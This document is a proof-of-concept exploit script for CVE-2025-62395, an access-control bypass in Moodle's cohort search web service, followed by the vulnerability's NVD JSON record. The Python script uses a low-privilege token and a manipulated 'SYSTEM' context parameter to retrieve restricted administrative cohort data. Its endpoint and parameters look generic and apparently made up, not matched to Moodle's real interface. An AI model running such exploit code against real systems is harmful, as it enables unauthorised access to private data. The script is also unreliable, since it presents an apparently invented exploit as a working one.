CVE-2025-62395

import requests import json # CVE-2025-62395 PoC - Cohort Search Web Service Context Bypass # This PoC demonstrates how a low-privilege user can access system context cohort data TARGET_URL = "https://vulnerable-server/api/cohort/search" def exploit_cve_2025_62395(): """ Exploit: Cohort Search Web Service Context Bypass Vulnerability: Insufficient access control on context parameter """ # Normal user session with low privilege context headers = { "Content-Type": "application/json", "Authorization": "Bearer <user_low_privilege_token>" } # Attempt to access system context cohort data # by manipulating the context parameter payload = { "query": "*", "context_id": "SYSTEM", # Bypass: Access system context "include_admin_data": True } print("[*] Sending request to exploit CVE-2025-62395...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {json.dumps(payload, indent=2)}") try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] SUCCESS: Retrieved restricted cohort data!") print(f"[+] Response: {json.dumps(data, indent=2)}") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": exploit_cve_2025_62395()

{"cve": {"id": "CVE-2025-62395", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:31.747", "lastModified": "2025-11-14T19:39:08.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in the cohort search web service allowed users with permissions in lower contexts to access cohort information from the system context, revealing restricted administrative data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62395", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404428", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}